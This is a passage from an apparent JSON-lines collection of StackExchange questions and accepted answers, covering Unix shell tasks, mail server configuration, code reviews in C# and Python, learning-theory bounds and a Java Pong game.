non-whitespacesubstitute over visual selectionmatch beginning-of-line + whitespacesubstitute contents of unnamed register + a comma + the entire match (i.e., the whitespace)This command does not work at all.It does not change the buffer at all.It leaves me in visual mode, with the last character on the first line selected.Hitting /<Up> to look at the last search pattern shows /^\\S^M:s/^\\s/\\=@ . , . submatch(0). This tells me that the ^M does not execute the search as I had hoped, but rather everything following / is interpreted as part of the pattern.Checking the unnamed register after running the command, it contains the last 'document header' in the buffer. This tells me that it goes through the buffer and performs the yank operation.If, however, I type out the normal mode commands manually they work as expected." , "title": "How can I use the `global` command to prepend 'document headers' to 'document lines'?" , "tags": "cut copy paste;repeated commands" } { "id": "_cstheory.30952" , "question": "One can bound the Rademacher average $R_n(A)$ of a finite set of vectors $A\\subseteq\\{0,1\\}^n$ using Massart's Finite Lemma:$$R_n(A)\\le \\max_{a\\in A}\\|a\\|\\frac{\\sqrt{2\\ln|A|}}{n}$$where $\\|\\cdot\\|$ is the Euclidean norm.Then, using Sauer's Lemma, one can obtain $$R_n(A)\\le C\\max_{a\\in A}\\|a\\|\\sqrt{\\frac{V\\ln\\frac{n}{V}}{n}},$$where $V$ is the (empirical) VC-dimension.Using chaining and a bound on covering numbers, one can get rid of the logarithmic factor and obtain$$R_n(A)\\le C'\\sqrt{\\frac{V}{n}}.$$Looking at the proof that uses chaining, I can't seem to find a way to have $\\max_{a\\in A}\\|a\\|$ in the second bound. Is it even possible?It may not change much in theory, but it does in practice, and (in my opinion), it intuitively makes sense that the bound should depend on it." , "title": "Bounding Rademacher Averages, with and without chaining" , "tags": "machine learning;pr.probability;lg.learning;vc dimension" , "accepted_answer": "Converting the comment to an answer: See the notes here: cs.cornell.edu/~sridharan/dudley.pdfwith the dependence on $\\sup_f \\hat E[f^2]$" } { "id": "_unix.106219" , "question": "I have a text file abc.txt and its contents are: /lag/cnn/org/one.txt /lag/cnn/org/two.txt /lag/cnn/org/three.txtIf I use:$ tar -cvf allfiles.tar -T abc.txtI'm getting the tar of files in the list. Similarly is it possible to copy those files in abc.txt to a folder?I tried this: $ cp --files-from test1.txt ./FolderBut it is not working." , "title": "Copy files from a list to a folder" , "tags": "shell;file copy" } { "id": "_unix.316918" , "question": "I run physics analysis jobs in a computer grid. Sometime the jobs go wrong and I have to kill them (one by one) which is painful. Can you please suggest me how can I select only the numeric values (748736838 and so on) from this output:$ps -Wmhaque -748736838 0 W mhaque -748736879 0 W mhaque -748737079 0 W mhaque -748737185 0 W mhaque -748737276 0 W(and hundred of lines like this)I tried few sed/awk/grep command (from stackExchange) but could not separate the numeric values. Is there command which can select the numeric values and also place 'kill' in front of them? For example something like this (piping):ps -W | awk/sed/grep (what_to_use) | (some_command to place kill) | > file.listWhich would give me the following (in file.list):kill 748736838 kill 748736879...so on..Then I can simply copy paste it in the grid shell to kill all offending/long waiting jobs. " , "title": "How to select job ids using grep/sed/awk" , "tags": "shell;sed;awk;grep" } { "id": "_softwareengineering.347952" , "question": "There are a couple of examples from a simple game based on two players putting X and O on 2d arrayFirst method should return true if element filed[y][x] is ok;public boolean yxInField(int y, int x, char[][] field) { return field != null && y >= 0 && x >= 0 && y < field.length && field[y] != null && x < field[y].length;}Second should return true if at least one of calls of check win condition for a specific direction returned true public boolean checkWin(int y, int x, char[][] field) { return //E-W checkDirection(y, x, 0, -1, field) //S-N || checkDirection(y, x, -1, 0, field) //SE-NW || checkDirection(y, x, -1, -1, field) //SW-NE || checkDirection(y, x, -1, 1, field);}But i'm not certain if this style is ok. If not what would be the better way to do those methods?" , "title": "Are returns with large statements at the top of a method a good style?" , "tags": "coding style" } { "id": "_webmaster.98531" , "question": "How do I do URL masking using .htaccess?I've tried a lot of different things on different websites, but they usually just redirect me to a different page or caused a 500 internal server error.I want to take this url:http://www.example.com/profile/index?id=$1and mask it to look like:http://www.example.com/profile/$1Thank you in advance!" , "title": ".htaccess URL masking" , "tags": "masking" } { "id": "_unix.150260" , "question": "I have a process that generates output mostly in lexicographically sorted order according to a (timestamp) field, but occasionally the lines will be output in the wrong order:2014-08-14 15:42:02.019220203 ok2014-08-14 15:42:03.523164367 ok2014-08-14 15:42:04.525655832 ok2014-08-14 15:42:06.523324269 ok2014-08-14 15:42:05.930966407 oops2014-08-14 15:42:07.643347946 ok2014-08-14 15:42:07.567283110 oopsHow can I identify each location where the data are unsorted?Expected output (or similar):2014-08-14 15:42:05.930966407 oops2014-08-14 15:42:07.567283110 oopsI need a solution that works as the data are generated (e.g. in a pipeline); it's less useful if it only operates on complete files. sort --check would be ideal but it only outputs the first point of disorder; I need a full listing." , "title": "Identify lines that are out of order" , "tags": "text processing;sort;verification" , "accepted_answer": "awk 'NR>1 && $0 < last; {last=$0}'Prints the lines that sort before the preceding line. The $0 is to force lexical comparison (on the output of seq 10 it would spot 10 as sorting before 9)." } { "id": "_unix.270071" , "question": "I have large tree, with many pdf files in it. I want to delete the pdf files in this tree, but only those pdf files in sub folders named rules/ There are other type of files inside rules/. The rules/ subfolders have no other subfolders.For example, I have this tree. Everything below 'source' source/ A/ rules/*.pdf, *.txt, *.c,etc.. etc/ B/ keep_this.pdf rules/*.pdf whatever/ C/ D/ rules/*.pdf something/and so on. There are pdf files all over the place, but I only want to delete all the pdf files which are in folders called rules/ and no other place.I think I need to use cd source find / -type d -name rules -print0 | xargs -0 <<<rm *.pdf?? now what?>>>But I am not sure what to do after getting list of all subfolders named rules/Any help is appreciated.On Linux mint." , "title": "how to delete all files with specific extension in specific named folders in large tree?" , "tags": "files;find" , "accepted_answer": "I would execute a find inside another find. For example, I would execute this command line in order to list the files that would be removed:$ find /path/to/source -type d -name 'rules' -exec find '{}' -mindepth 1 -maxdepth 1 -type f -iname '*.pdf' -print ';'Then, after checking the list, I would execute:$ find /path/to/source -type d -name 'rules' -exec find '{}' -mindepth 1 -maxdepth 1 -type f -iname '*.pdf' -print -delete ';'" } { "id": "_codereview.1903" , "question": "I have a class which is responsible for checking whether a website is up or down. I've made it to run asynchronously, but I would like critique if this is a good/bad way or if there is another better way to do it.class UrlChecker { private readonly IValidationCondition _condition; private readonly Dictionary<string, UrlStatus> _status = new Dictionary<string, UrlStatus>(); private readonly object _lock = new object(); public UrlChecker(IValidationCondition condition) { _condition = condition; } public void CheckRange(IEnumerable<string> urls, Action<Dictionary<string, UrlStatus>> callback) { var options = new ParallelOptions {MaxDegreeOfParallelism = 5}; Parallel.ForEach(urls, options, Check); callback(_status); } private void Check(string url) { Console.WriteLine(Checking + url); var req = (HttpWebRequest) WebRequest.Create(url); req.Timeout = 10 * 10000; // 10 seconds HttpWebResponse resp; try { resp = (HttpWebResponse)req.GetResponse(); } catch(WebException ex) { // We got an exception, consider it as down lock (_lock) _status.Add(url, UrlStatus.Down); return; } if(resp.StatusCode != HttpStatusCode.OK) { lock (_lock) _status.Add(url, UrlStatus.Down); return; } using(var reader = new StreamReader(resp.GetResponseStream())) { // Check for empty response var html = reader.ReadToEnd(); if(string.IsNullOrEmpty(html)) { lock(_lock) { _status.Add(url, UrlStatus.Down); } } // Validate against condition if(!_condition.IsValid(html)) { lock(_lock) { _status.Add(url, UrlStatus.Down); } return; } } // We reached the end without problems, it's a valid url lock(_lock) { _status.Add(url, UrlStatus.OK); } }}It's called like so:checker.CheckRange(urls, status => { if(status.Any(x => x.Value == UrlStatus.Down)) EmailFailing(message);});The second parameter is obviously a callback that's invoked when all checks are done.Am I locking correctly?Is this an acceptable way of doing it? Checking with Fiddler proves that it's working correctly, but is there a better way?" , "title": "Asynchronous website monitor" , "tags": "c#;asynchronous" , "accepted_answer": "I don't see how this runs asynchronously. callback(_status); will still only be called after all processing is finished, parallel or not. In this case this makes the callback rather redundant, as it does the same as a simple return value.If you want to make it asynchronous you'll need to store the callback as a member variable, but return immediately in CheckRange. Start the actual processing on a separate thread by e.g. using a BackgroundWorker. Once this execution completes, you can call the stored callback with the result." } { "id": "_unix.222968" , "question": "I have a running dovecot with:$ dovecot -n# 2.2.18: /etc/dovecot/dovecot.conf# OS: Linux 4.1.0-x86_64-linode59 x86_64 Fedora release 22 (Twenty Two) ext4auth_debug = yesauth_mechanisms = plain login digest-md5 cram-md5auth_verbose = yesauth_verbose_passwords = yesdefault_internal_user = rootimap_client_workarounds = delay-newmail tb-extra-mailbox-sepmail_debug = yesmail_location = maildir:/home/vmail/%d/%n/Maildirmaildir_very_dirty_syncs = yesmbox_write_locks = fcntlnamespace { inbox = yes location = prefix = INBOX. separator = . type = private}namespace inbox { location = mailbox Drafts { special_use = \\Drafts } mailbox Junk { special_use = \\Junk } mailbox Sent { special_use = \\Sent } mailbox Sent Messages { special_use = \\Sent } mailbox Trash { special_use = \\Trash } prefix =}passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql}postmaster_address = pmatosprotocols = imapquota_full_tempfail = yesservice auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0666 user = postfix } unix_listener auth-master { mode = 0600 user = vmail } user = $default_internal_user}ssl = requiredssl_cert = </etc/pki/dovecot/certs/dovecot.pemssl_key = </etc/pki/dovecot/private/dovecot.pemuserdb { args = uid=5000 gid=5000 home=/home/vmail/%d/%n allow_all_users=yes driver = static}protocol lda { auth_socket_path = /var/run/dovecot/auth-master deliver_log_format = msgid=%m: %$ log_path = /home/vmail/dovecot-deliver.log}protocol imap { mail_max_userip_connections = 100}I started to filter my email with imapfilter running on the same host as dovecot. I would therefore like to deliver email to a folder called PreINBOX so that imapfilter then sorts the email and ends up delivering only the useful email to INBOX.How can I change the name of the inbox dovecot delivers to?" , "title": "Delivering email to Maildir PreINBOX" , "tags": "email;dovecot" } { "id": "_unix.143820" , "question": "What is the best way to monitor running services and ports on a system with systemd?My intent is to alert me, when a service stops running or if a new service is listening on a new port (possibly a security breach).Currently, I have a script that uses netstat to see the open ports and compares it with what is expected.Is there some sort of utility I should be using?Also, can systemd alert me or again, should I just my my scriptthat will be executed via cron?I have munin installed and it does monitor things, but as for alerts, I don't see it having the capability as I describe." , "title": "monitor running services and ports" , "tags": "monitoring;systemd;munin" } { "id": "_codereview.14553" , "question": "I've written my first class to interact with a database. I was hoping I could get some feedback on the design of my class and areas that I need to improve on. Is there anything I'm doing below that is considered a bad habit that I should break now?public IEnumerable<string> ReturnSingleSetting(int settingCode) interacts with a normalized table to populate combo boxes based on the setting value passed to it (for example, a user code of 20 is a user, sending that to this method would return all users (to fill the combobox).public void InsertHealthIndicator(string workflowType, string workflowEvent, int times, string workflowSummary) interacts with a stored procedure to write a workflow error type into another normalized table.public DataView DisplayHealthIndicator(DateTime startDate, DateTime endDate) uses another stored procedure to return the workflow error types between specific dates.Note: Although this seems like I likely shouldn't use stored procedures in some areas here, I've done so so I can base some SSRS reports off the same stored procedures (so a bug fixed in one area is a bug fixed in both).using System;using System.Collections.Generic;using System.Data;using System.Globalization;using System.Data.SqlClient;using System.Windows;namespace QIC.RE.SupportBox{ internal class DatabaseHandle { /// <summary> /// Class used when interacting with the database /// </summary> public string GetConnectionString() { // todo: Integrate into settings.xml return Data Source=FINALLYWINDOWS7\\\\TESTING;Initial Catalog=Testing;Integrated Security=true; } public IEnumerable<string> ReturnSingleSetting(int settingCode) { var returnList = new List<string>(); string queryString = select setting_main + from [marlin].[support_config] + where config_code = + settingCode.ToString(CultureInfo.InvariantCulture) + and setting_active = 1 + order by setting_main; using (var connection = new SqlConnection(GetConnectionString())) { var command = new SqlCommand(queryString, connection); try { connection.Open(); using (SqlDataReader reader = command.ExecuteReader()) { while (reader.Read()) { returnList.Add(reader[0].ToString()); } reader.Close(); } } catch (Exception ex) { MessageBox.Show(ex.ToString()); throw; } connection.Close(); } return returnList; } public void InsertHealthIndicator(string workflowType, string workflowEvent, int times, string workflowSummary) { string queryString = EXEC [marlin].[support_add_workflow_indicator] + @workflow_type = @workflowType, + @workflow_event = @workflowEvent, + @event_count = @eventCount, + @event_summary = @eventSummary; using (var connection = new SqlConnection(GetConnectionString())) { try { connection.Open(); using(var cmd = new SqlCommand(queryString, connection)) { cmd.Parameters.AddWithValue(@workflowType, workflowType); cmd.Parameters.AddWithValue(@workflowEvent, workflowEvent); cmd.Parameters.AddWithValue(@eventCount, times); cmd.Parameters.AddWithValue(@eventSummary, workflowSummary); cmd.CommandType = CommandType.Text; cmd.ExecuteNonQuery(); } connection.Close(); } catch(SqlException ex) { string msg = Insert Error: ; msg += ex.Message; throw new Exception(msg); } } } public DataView DisplayHealthIndicator(DateTime startDate, DateTime endDate) { string queryString = [marlin].[support_retrieve_workflow_history]; using (SqlConnection connection = new SqlConnection(GetConnectionString())) { using (var cmd = new SqlCommand(queryString, connection)) { connection.Open(); cmd.CommandType = CommandType.StoredProcedure; cmd.Parameters.AddWithValue(date_from, startDate.Date); cmd.Parameters.AddWithValue(date_to, endDate.Date); var reader = cmd.ExecuteReader(); var dt = new DataTable(); dt.Load(reader); connection.Close(); return dt.DefaultView; } } } }}" , "title": "Interacting with a database" , "tags": "c#;sql;ado.net" , "accepted_answer": "I believe it's much better to use some ORM together with LINQ, rather than writing raw SQL. It means more errors are checked at compile time, it will help you avoid some common mistakes and it will make your code much shorter.I would also always use parametrized SQL queries and never concatenate them by hand. You do use them most of the time, and in the one case where you don't, there is no danger of SQL injection, because the parameter is an integer, but I still think it's better to use parameters everywhere. (I think it may also make your query faster thanks to caching, but I'm not completely sure about that.)Also, you shouldn't throw Exception, you should create a custom class that inherits from Exception. And, if possible, include the original exception as inner exception, to make debugging the original source of the error easier." } { "id": "_unix.209968" , "question": "All I was able to find out about the %gs register is, that it seems to be a free to use register on >32bit x86 architectures. It seems that a gs_change is executed before any system-call.Can someone point me to a documentation how this register is used for? — I assume its a register used for kernel-/user-mode switches.The background of my question is, that I try to understand a kernel stack trace and what exactly happened.The stack trace was produced from the flush process that reached the /proc/sys/kernel/hung_task_timeout_secs." , "title": "What is the register %gs used for?" , "tags": "linux kernel;x86" , "accepted_answer": "It seems %gs is reserved for GCC'c stack protection feature on x86 Linux kernel with CONFIG_CC_STACKPROTECTOR enabled in order to set up stack canaries. You can see some explanation at arch/x86/include/asm/stackportector.h. " } { "id": "_unix.92532" , "question": "Assume a script runs on boot as root. From this script I want to start tcpsvd -E 0 515 lpd. I want tcpsvd to run as an unprivileged user. But it requires root privileges to bind to the port 515. How can I achieve this? Further I have to use busybox tcpsvd:tcpsvdtcpsvd [-hEv] [-c N] [-C N[:MSG]] [-b N] [-u USER] [-l NAME] IP PORT PROGCreate TCP socket, bind to IP:PORT and listen for incoming connection.Run PROG for each connection. IP IP to listen on. '0' = all PORT Port to listen on PROG [ARGS] Program to run -l NAME Local hostname (else looks up local hostname in DNS) -u USER[:GRP] Change to user/group after bind -c N Handle up to N connections simultaneously -b N Allow a backlog of approximately N TCP SYNs -C N[:MSG] Allow only up to N connections from the same IP New connections from this IP address are closed immediately. MSG is written to the peer before close -h Look up peer's hostname -E Do not set up environment variables -v Verbose" , "title": "How do I get tcpsvd to drop its root privileges?" , "tags": "root;not root user" , "accepted_answer": "You need to have the program bind to the port while running as root, and then switch to your unprivileged user. tcpsvd offers the -u option for doing this: -u user[:group] drop permissions. Switch user ID to users UID, and group ID to users primary GID after creating and binding to the socket. If user is followed by a colon and a group name, the group ID is switched to the GID of group instead. All supplementary groups are removed." } { "id": "_unix.2600" , "question": "My organization is running an exchange server 2007 with MAPI disabled for security reasons. How do I connect with evolution? When I connect using the Microsoft Exchange option I get the error The Exchange server is not compatible with Exchange Connector.The server is running Exchange 5.5. Exchange Connector supports Microsoft Exchange 2000 and 2003 only.If I use the Exchange MAPI option I getAuthentication failed. MapiLogonProvider:MAPI_E_NETWORK_ERRORWhich appears to be a network timeout, which confirms that administrators have MAPI turned off." , "title": "Evolution and Exchange Server 2007 without MAPI" , "tags": "email;evolution;exchange" , "accepted_answer": "As far as I know, this is not possible, at least if you want a reasonably stable solution. Which would, at this point, also exclude the Exchange MAPI option, even if it were available." } { "id": "_unix.110903" , "question": "I am trying to backup a remote server to my machine. I am trying something likessh user@ip dd if=/dev/sda | dd of=~/backup.imgBut that obviously doesn't work. Other variants that don't work.ssh user@ip sudo dd if=/dev/sda | dd of=~/backup.imgssh user@ip -t sudo dd if=/dev/sda | dd of=~/backup.imgI have public key authentication set up. Note that even after compression, the remote machine can not hold its own backup. What do I do?(Note in the long run I want to try and put this in an automatic script, but I just want a backup for now.)Note: I should mention that I don't want to just back up the files (like with rsync) but to have a complete image that I can just drop on a new hard-drive should this one go belly up with little hassle." , "title": "SSH remote backup script" , "tags": "ssh;backup;dd" , "accepted_answer": "Something like this should work:ssh user@ip sudo -S dd if=/dev/sda > backup.img You don't need to pipe to dd, you can just redirect the output into a file." } { "id": "_unix.280770" , "question": "This is on a macintosh but it's still unix command.I am running some computers on a network that have file sharing turned off because of security so the only way to connect is via ssh.I need to look at what applications are installed on the computers /applications folder so we can push our a few things.What I would normally type in terminal would be:ssh apple@192.168.1.117(password)cd /applicationsls -lthen this shows me all the applications installed in that folder.Is there anyway to put that query into a .sh file to automate this? Like a .bat on windows when you can just double click it and it runs it." , "title": ".sh query - running a ssh task" , "tags": "shell script;ssh;terminal" , "accepted_answer": "Use public key authenticationIn the source host run this only once:ssh-keygen -t rsa # ENTER to every fieldssh-copy-id myname@somehostThat's all, after that you'll be able to do ssh without password.Coming to your question, use below command now, ssh apple@192.168.1.117 'ls -l /applications'" } { "id": "_scicomp.7868" , "question": "I would like to find the optimal set $ \\{ x_i \\} $ given $ L $ and $ \\{ a_i \\} $ that minimizes the problem below. My first thought was to use linear programming. Is there a transformation that makes it possible, or do I need a more general optimization technique?$$ \\min_{x_i} \\left[ 2\\sum_i | x_i | + \\max_i | x_i + a_i | \\right]$$$$ \\mathrm{s.t.} \\sum_i (x_i + a_i) \\le L$$" , "title": "Constrained optimization with max and absolute values in objective function" , "tags": "optimization;linear programming" , "accepted_answer": "You haven't told us what set $i$ ranges over, so I'll just assume $i=1, 2, \\ldots, n$. A standard trick in LP formulation of problems with absolute values is to introduce auxiliary variables and constraints with the basic idea that $\\min | x | $is equivalent to $\\min t $$t \\geq x $$t \\geq -x $Applying that idea to your problem, introduce auxiliary variables $t_{i}$, $i=1, 2, \\ldots n$, and $s$. Then formulate the problem as:$\\min 2 \\sum_{i=1}^{n} t_{i} + s $subject to$t_{i} \\geq x_{i}$, $i=1, 2, \\ldots n$.$t_{i} \\geq -x_{i}$, $i=1, 2, \\ldots n$.$s \\geq x_{i}+a_{i} $, $i=1, 2, \\ldots, n$. $s \\geq -(x_{i}+a_{i}) $, $i=1, 2, \\ldots, n$.$\\sum_{i=1}^{n} (x_{i}+a_{i}) \\leq L$" } { "id": "_softwareengineering.218194" , "question": "When considering the disk space of a storage medium, normally the computer or operating system will represent it in terms of powers of 1024 - a kilobyte is 1,024 bytes, a megabyte is 1,048,576 bytes, a gigabyte is 1,073,741,824 bytes, and so on.But I don't see any practical reason why this convention was adopted. Usually when disk size is represented in kilo-, mega-, or giga-bytes, it has to be converted into decimal first. In places where a power-of-two byte count actually matters (like the block size on a file system), the size is given in bytes anyway (e.g. 4096 bytes).Was it just a little aesthetic novelty that computer makers decided to adopt, but storage medium vendors decided to disregard? Whenever you buy a hard drive, there's always a disclaimer nowadays that says One gigabyte means one billion bytes. It would feel like using the binary definition of gigabyte would artificially inflate the byte count of a device, making drive-makers have to pack 1.1 terabytes into a drive in order to have it show up as 1 TB, or to simply pack 1 terabyte in and have it show up as 931 GB (and most of them do the latter).Some people have decided to use units like KiB or MiB in favour of KB and MB in order to distinguish the two. But is there any merit to the binary prefixes in the first place?There's probably a bit of old history I'm not aware of on this topic, and if there is, I'm looking for somebody to explain it.(Apologies if this is in the wrong place. I felt that a question on best practice might belong here, but I have faith that it will be migrated to the right place if it's incorrect.)" , "title": "What is the advantage to using a factor of 1024 instead of 1000 for disk size units?" , "tags": "history;conventions" , "accepted_answer": "The reason is because in any organized file system that is placed on the drive must be able to uniquely identify each spot on the drive. and those addresses are stored in binary format,because,well, we are using binary computers, not say, analog computers. So to most compactly represent all the addresse on a disk requires a certain minimum number of bits. and file directories are basically wasted, overhead space so why not make them as small as possible. Thus you actually see manufacturers targeting their physical drive platters toward certain powers of twos, because more space than that would be wasted,unless they changed the directory address length of addresses.It is kind of convenience and optimization for getting the most usable, addressable space between the two considerations of addressing and physical platter size.remember there is a table taking up nearly 2% of the disk,and all that table does is show where on the disk each file starts, and what the name of the file is, etc. so this table can be made smaller by being smart about the numer of bits used for each files address.if you make the table address two bits longer, and you only make the drive platter twice as large, you're kind of wasting most of that second bit you added,so why not target the physical platter manufacturing to match what bits you have to create addresses.and the of course, humans wanted some way to understand the magnitude of these numbers in our digital ( Powers of Ten fingers ) world. thus, the closest one is , 1000.at this point the whole thing is pretty moot because drive capacities are so huge we dont worry quite as much about the overhead of addressing, but at one point it was important." } { "id": "_codereview.40865" , "question": "I've written a Python client for a new NoSQL database as a service product called Orchestrate.io. The client is very straightforward and minimal. It uses the requests library, making the underlying code even more streamlined. I've been using the service as part of the private beta. However, Orchestrate.io went live to the public today. They have added a few new features to the API and I would like to include them in the Python client. With these updates, I'm considering other design choices as well.I am relatively new to writing such an API and I would like to get feedback on the current design and perhaps suggestions for how it can be improved. Personally, I like where it is now because it is super simple/minimal. That said, I am open to making changes that will make the code most useful to the community.Below are few things that I'm considering in the next round of updates:Putting the client and each service (Key/Value, Search, Events, ect...) into their own classesImplementing optional success and error callbacksProviding an asynchronous option (currently requests are blocking)Improved error handlingHere is the code in its current state (also available here):'''A minimal implementation of an Orchestrate.io client'''import requests# Settingslogging = Falseauth = ('YOUR API KEY HERE', '')root = 'https://api.orchestrate.io/v0/'header = {'Content-Type':'application/json'}# Authdef set_auth(api_key): global auth auth = (api_key, '')# Collectionsdef delete_collection(collection): ''' Deletes an entire collection ''' return delete(root + collection + '?force=true') # Key/Valuedef format_key_value_url(collection, key): ''' Returns the url for key/value queries ''' return root + '%s/%s' % (collection, key) def get_key_value(collection, key): ''' Returns the value associated with the supplied key ''' return get(format_key_value_url(collection, key))def put_key_value(collection, key, data): ''' Sets the value for the supplied key ''' return put(format_key_value_url(collection, key), data)def delete_key_value(collection, key): ''' Deletes a key value pair ''' return delete(format_key_value_url(collection, key))# Searchdef format_search_query(properties = None, terms = None, fragments = None): ''' propertes - dict: {'Genre' : 'jazz'} terms - list, tuple: ['Monk', 'Mingus'] fragments - list, tuple: ['bari', 'sax', 'contra'] ''' def formatter(items, pattern=None): result = '' for i in range(0, len(items)): item = items[i] if pattern: result += pattern % item else: result += item if i < len(items) - 1: result += ' AND ' return result query = '' if properties: query += formatter(properties.items(), '%s:%s') if terms: if properties: query += ' AND ' query += formatter(terms) if fragments: if properties or terms: query += ' AND ' query += formatter(fragments, '*%s*') return querydef format_event_search(span, start, end, start_inclusive = True, end_inclusive = True): ''' Formats a query string for event searches. Example output: Year:[1999 TO 2013} span - string: YEAR, TIME start - string: beginning date or time end - string: ending date or time start_inclusive - boolean: whether or not to include start end_inclusive - boolean: whether or not to include end ''' result = span + ':' result += '[' if start_inclusive else '{' result += start + ' TO ' + end result += ']' if end_inclusive else '}' return result def search(collection, query): ''' Searches supplied collection with the supplied query ''' return get(root + %s/?query=%s % (collection, query))# Eventsdef format_event_url(collection, key, event_type): ''' Returns the base url for events ''' return root + '%s/%s/events/%s' % (collection, key, event_type)def get_event(collection, key, event_type, start='', end=''): ''' Returns an event ''' return get(format_event_url(collection, key, event_type) + '?start=%s&end=%s' % (start, end))def put_event(collection, key, event_type, time_stamp, data): ''' Sets an event ''' return put(format_event_url(collection, key, event_type) + '?timestamp=%s' % (time_stamp), data)def delete_event(collection, key, event_type, start='', end=''): ''' Delets an event ''' return delete(format_event_url(collection, key, event_type) + '?start=%s&end=%s' % (start, end))# Graphdef format_graph_url(collection, key, relation): ''' Returns the base url for a graph ''' return root + '%s/%s/relations/%s/' % (collection, key, relation)def get_graph(collection, key, relation): ''' Returns a graph retlationship ''' return get(format_graph_url(collection, key, relation))def put_graph(collection, key, relation, to_collection, to_key): ''' Sets a graph relationship ''' return put(format_graph_url(collection, key, relation) + ('%s/%s') % (to_collection, to_key))def delete_graph(collection, key, relation): ''' Deletes a graph relationship ''' return delete(format_graph_url(collection, key, relation))'''Convenience methods used by client for generic, get, put and delete. '''def get(url): log('GET', url) return requests.get(url, headers=header, auth=auth) def put(url, data=None): log('PUT', url) return requests.put(url, headers=header, auth=auth, data=data)def delete(url): log('DEL', url) return requests.delete(url, auth=auth)def log(op, url): if logging: print '[Orchestrate.io] :: %s :: %s' % (op, url.replace(root, ))" , "title": "Orchestrate.io Client API Design" , "tags": "python;api" , "accepted_answer": "This is a very thin layer around the Orchestrate.io database. By thin I mean that it provides no abstraction and no mapping of concepts between the Orchestrate and Python worlds. Without your module, someone might have written a sequence of operations like this:import requestsvalue = requests.get(root + collection_name + '/' + key, headers=header, auth=auth)requests.delete(root + collection_name + '/' + key, headers=header, auth=auth)but with your module they can write it like this:import orchestrateorchestrate.auth = authorchestrate.root = rootvalue = orchestrate.get(collection_name, key)orchestrate.delete(collection_name, key)which you have to admit is not much of an improvement. All you've done is factor out a bit of boilerplate, which any Python programmer could easily have done for themselves.What you should do is figure out some way to map concepts back and forth between the Orchestrate and Python worlds. For example, a key-value store is very like a Python dictionary, so wouldn't it be nice to be able to write the above sequence of operations like this:import orchestrateconn = orchestrate.Connection(root, api_key)collection = conn.Collection(collection_name)value = collection[key]del collection[key]The advantage of this kind of approach is not just that it results in shorter code, but that it interoperates with other Python functions. For example, you'd be able to write:sorted(data, key=collection.__getitem__)or:{product} has {stock_count} items..format_map(collection)By using the requests module, you require all your users to install that module. If you are trying to write something for general use, you should strive to use only features from Python's standard library. Even if requests is easier to use than urllib.request, a bit of inconvenience for you could save a lot of inconvenience for your users if it would enable them to run your code on a vanilla Python installation.There doesn't seem to be any attention to security or validation. You should strive to make your interface robust against erroneous or malicious data. Some examples I spotted:What if root doesn't end with a /? It would be safer to use urllib.parse.urljoin instead of string concatenation.What if collection or key contains a / or a ? or a %? You might consider using urllib.parse.quote_plus.Instead of appending ?force=true, why not use the requests module's params interface?Similarly for ?query=%s. Using the params interface would ensure that the query is properly encoded. format_search_query and format_event_search look vulnerable to code injection attacks." } { "id": "_codereview.27038" , "question": "I have a very simple Pong game that I've built in Java. The code is quite long so I've decided to focus this question on the collision that occurs with the ball and the bat and also the effects in the game. I'm using ACM Graphics package to learn Java so most of the methods are from that package. I want to know how I can improve this checking process and if the way I revert the speed and direction is efficient. I'm also open to any suggestions for the game.//Setting up variablesstatic final int WAIT = 50;static final int MV_AMT = 20;static final int BATWIDTH = 120;static final int BATHEIGHT = 20;static final int WINDOWX = 400;static final int WINDOWY = 400;static final int BALLRADIUS = 10;private int batX = 150, batY = 400; //Starting positionsprivate int ballX = 160, ballY = 370;private int ballSpeedX = 2; //the ball speed on the X axisprivate int ballSpeedY = -9; //the ball speed on the Y axispublic void run(){ //... Stuff that runs before the game, ie. draw the sceen etc. int currentTime = 0; //Do all our stuff here while(continueGame){ //Pause dat loop pause(WAIT); currentTime = currentTime + WAIT; //Up the speed every 5 seconds if (currentTime % 5000 == 0) { if(ballSpeedY>0) ballSpeedY += 2; else ballSpeedY -= 2; if(ballSpeedX>0) ballSpeedX += 2; else ballSpeedX -= 2; } //Move the ball ballX=ballX+ballSpeedX; ballY=ballY+ballSpeedY; ball.setLocation(ballX, ballY); //Check checkCollisions(); } //... Stuff that gets done after game over}public void checkCollisions(){ //This method is quite long so I won't be posting it all //Just the part the calls the collision method //Get the bounds GRectangle batBounds = bat.getBounds(); GRectangle ballBounds = ball.getBounds(); //Where is the ball? ballX = (int)ball.getX(); ballY = (int)ball.getY(); //Where is the bat? batX = (int)bat.getX(); batY = (int)bat.getY(); //Did the bat touch the ball? if(batBounds.intersects(ballBounds)){ batCollision(); }}public void batCollision(){ if( ballX+BALLRADIUS > batX+(BATWIDTH/2) ){ //Which side of the bat? //Which direction is the ball traveling when it hits? if(ballSpeedX >> 31 !=0){ ballSpeedX = ballSpeedX * -1; } else { ballSpeedX = ballSpeedX; } } else { if(ballSpeedX >> 31 !=0){ ballSpeedX = ballSpeedX; } else { ballSpeedX = -ballSpeedX; } } ballSpeedY = -ballSpeedY; //Adjust Y speed}" , "title": "Java Pong Game Collision between bat and ball" , "tags": "java;game;collision" } { "id": "_webmaster.69551" , "question": "I have a requirement where i need to lost large mp3 files on a web server. file size may vary from 1MB - 120MB (where most of the files are more than 20MB)With large size in mind i cant host these files on the same web server as can slow down the web-server & degrade performance of several websites hosted on the same server.I would appreciate if someon can tell me which is the best service paid service to host these files for streaming & downloading." , "title": "I need to host large mp3 files & link them on website for download" , "tags": "web hosting;cloud hosting" } { "id": "_unix.320" , "question": "I want to make my Fedora Linux capable of following :Use Linux for complete development platform without requiring any other OS installation but still able to build and test programs under different platforms.Completely replace Windows machine for all the other work e.g. Office, Paint, Remote Desktop, etc. Can you suggest open source projects and tools for achieving above objectives ? " , "title": "Linux as a complete development platform?" , "tags": "linux;opensource projects" , "accepted_answer": "You can easily do cross-platform development whether you are a systems programmer, a web developer or a desktop application developer. If you are into systems, then any utilities and/or drivers you write for linux are likely to work well for other *nix with very minimal modifications. Provided that you write standard C code and don't use too many system specific calls, they may be even easy to port to windows.If you are a desktop application dev, you can target GTK, QT or wxWidgets and your app will likely work well across the major 3 platforms today (*nix, Windows, Mac). Again, keep system specific calls to a minimum or isolate them into a wrapper library that's going to be system specific. You call also target a Virtual Machine like the JVM and/or CLR which will allow application to work across the board.If you are a web dev, then you are likely to run into too many different alternatives to choose from. I prefer a little web server called Cherokee and I develop and run ASP.NET (mono) and Django apps that run on it and use a PgSQL backend. So the conclusion is that cross-platform development in Linux can be done, provided that you can compile the code on the target platform and you keep that in mind while writing your code or if you target a VM. The other point is 